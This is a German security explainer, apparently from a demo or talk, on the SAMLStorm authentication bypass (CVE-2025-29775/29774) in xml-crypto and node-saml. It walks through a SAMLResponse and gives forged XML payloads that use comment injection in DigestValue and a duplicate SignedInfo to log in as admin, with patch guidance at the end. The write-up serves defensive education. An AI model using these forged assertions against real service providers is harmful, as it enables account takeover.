CVE-2025-29775 CVE-2025-29774 CVSS 9.3 Critical node-saml · xml-crypto März 2025

SAMLStorm

Authentication Bypass durch manipuliertes XML — mit einem gültigen Login als user1 einloggen und dabei als admin ankommen.

Was steckt in der SAMLResponse?

Nach dem Login schickt der IdP eine SAMLResponse an den SP — Base64-kodiertes XML, das die Identität des Users enthält und digital signiert ist. Das ist Schritt 5 im Flow, den wir in Burp sehen.

Dekodiert sieht es so aus — das ist eine echte Response aus der Demo-Umgebung (vereinfacht):

SAMLResponse — dekodiert POST /login/callback
<samlp:Response ID="_375ef4cb992..."
  IssueInstant="2025-03-04T16:05:30Z"
  Destination="http://localhost:4300/login/callback">

  <saml:Issuer>http://localhost:8080/simplesaml/saml2/idp/metadata.php</saml:Issuer>

  <ds:Signature>
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="...xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="...rsa-sha1"/>
      <ds:Reference URI="#_375ef4cb992...">
        <ds:DigestMethod Algorithm="...sha1"/>
        <ds:DigestValue>jMHaXYxasIl3oc5Q+VW0UYUCY6s=</ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>XKp7z2Q...longbase64...==</ds:SignatureValue>
  </ds:Signature>

  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>user1@example.com</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="uid">
        <saml:AttributeValue>1</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="email">
        <saml:AttributeValue>user1@example.com</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="eduPersonAffiliation">
        <saml:AttributeValue>group1</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>

</samlp:Response>

Die zwei gelb markierten Elemente sind die Angriffsziele: DigestValue und NameID. Die Signatur schützt beide — theoretisch.


Die Vertrauenskette

Der SP vertraut der Assertion nur weil eine kryptographische Kette sie absichert. So soll es aussehen:

IdP Private Key
SignatureValue
SignedInfo
DigestValue
Assertion (user1)

Jedes Glied sichert das nächste. Der DigestValue ist der Hash der Assertion. Ändert man die Assertion, stimmt der Hash nicht mehr — und die Signatur schlägt fehl.

SAMLStorm bricht diese Kette — nicht durch Kryptographie, sondern weil xml-crypto und node-saml unterschiedliche Teile desselben Dokuments lesen.

IdP Private Key
SignatureValue ✓
DigestValue ← falsch gelesen
Assertion (admin) ← manipuliert
🔴
Der Kern: Die Signatur ist mathematisch gültig — der IdP hat wirklich unterschrieben. Aber xml-crypto vergleicht sie mit dem falschen Inhalt. Der SP denkt alles ist in Ordnung und loggt den Angreifer als admin ein.

DigestValue Comment Injection

xml-crypto liest den DigestValue als Text-Node. Wenn ein XML-Kommentar im Element steckt, liest es nur den Text nach dem Kommentar — den echten Hash. Aber die Assertion wurde bereits geändert.

Original — vom IdP signiert
<ds:DigestValue> jMHaXYxasIl3oc5Q+VW0UYUCY6s= </ds:DigestValue> <saml:NameID> user1@example.com </saml:NameID>
Manipuliert — vom Angreifer
<ds:DigestValue> <!--forged-->jMHaXYxasIl3oc5Q+VW0UYUCY6s= </ds:DigestValue> <saml:NameID> admin </saml:NameID>

Was xml-crypto sieht: jMHaXYxasIl3oc5Q+VW0UYUCY6s= — der echte Hash. Prüfung bestanden.

Was node-saml aus der Assertion liest: admin als NameID.

⚠️
Warum das funktioniert: XML-Kommentare sind valide XML. Der Hash stimmt noch — weil xml-crypto 6.0.0 den Kommentar beim Lesen einfach ignoriert und nur den Text-Node dahinter nimmt. Die Assertion selbst wurde geändert, aber die Hash-Prüfung schlägt nie an.
Was im nx serve Terminal erscheint — nach erfolgreichem Exploit Privilege Escalation
serialize user {
  nameID: 'admin',        ← eingeloggt als user1, angekommen als admin
  uid: 'admin',
  email: 'user1@example.com',  ← IdP-Attribute bleiben von user1
  eduPersonAffiliation: 'group1',
}

Doppelter SignedInfo

xml-crypto und node-saml verarbeiten das XML unabhängig voneinander. Wenn zwei SignedInfo-Nodes existieren, schaut jeder auf den anderen.

Manipulierte Signatur-Struktur CVE-2025-29774
<ds:Signature>

  <FakeWrapper>                   <!-- injiziert vom Angreifer -->
    <ds:SignedInfo>               <!-- xml-crypto validiert DIESEN -->
      <ds:Reference URI="#fake">
        <ds:DigestValue>
          47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=
          <!-- SHA256 von leerem String — vorhersagbar, immer gleich -->
        </ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
  </FakeWrapper>

  <ds:SignedInfo>               <!-- node-saml liest DIESEN -->
    <ds:Reference URI="#realAssertion">
      <ds:DigestValue>echter Hash...</ds:DigestValue>
    </ds:Reference>
  </ds:SignedInfo>

</ds:Signature>

<saml:Assertion>
  <saml:NameID>admin</saml:NameID>   <!-- geändert -->
</saml:Assertion>
⚠️
Der Trick: xml-crypto findet den ersten SignedInfo (fake) und validiert ihn — DigestValue ist SHA256(""), was immer stimmt. node-saml liest den zweiten SignedInfo (echt) und extrahiert die Assertion daraus — die nun admin als NameID hat. Zwei Parser, zwei Perspektiven auf dasselbe Dokument.

Eine Versionsnummer Unterschied

xml-crypto 6.0.1 wurde am gleichen Tag wie die CVE-Veröffentlichung released — März 2025.

Check xml-crypto 6.0.0 — verwundbar xml-crypto 6.0.1 — gepatcht
Kommentar in DigestValue ✗ Wird ignoriert, Hash passt ✓ Sofort rejected
Mehrere SignedInfo ✗ Beide akzeptiert ✓ Mehr als einer → Fehler
Assertion-Quelle ✗ Aus Original-XML gelesen ✓ Aus verifiziertem Inhalt
HTTP Status bei Angriff 302 → Login erfolgreich 500 → Authentication failed
Takeaway: npm audit hätte gereicht. CVE und Patch kamen gleichzeitig. Wer seinen Dependency-Stack nicht aktuell hält, verliert die Kontrolle über seine Auth-Infrastruktur — durch eine einzige veraltete npm-Version.

The Fragile Lock — Dezember 2025

PortSwigger Research hat die gleiche Angriffsklasse auf Ruby/PHP ausgedehnt. Die gemeinsame Wurzel ist dieselbe.

SAMLStorm (unser Stack)The Fragile Lock
Betroffenxml-crypto / node-samlruby-saml / php-saml
TechnikComment Injection, doppelter SignedInfoVoid Canonicalization, Attribute Pollution
VoraussetzungGültiger Login nötigNur öffentliche IdP-Metadaten
GepatchtMärz 2025Dez. 2025 (CVE-2025-66568)
Real-World ImpactWorkOS, diverse SaaS-PlattformenGitLab EE 17.8.4 (live Demo)
🔗
Gemeinsame Wurzel beider Angriffe: Signaturverifikation und Assertion-Verarbeitung benutzen verschiedene Parser oder verschiedene Code-Pfade — und lesen dadurch verschiedene Teile desselben XML-Dokuments. Solange SAML auf XML-Signaturverarbeitung basiert, bleibt diese Angriffsfläche bestehen.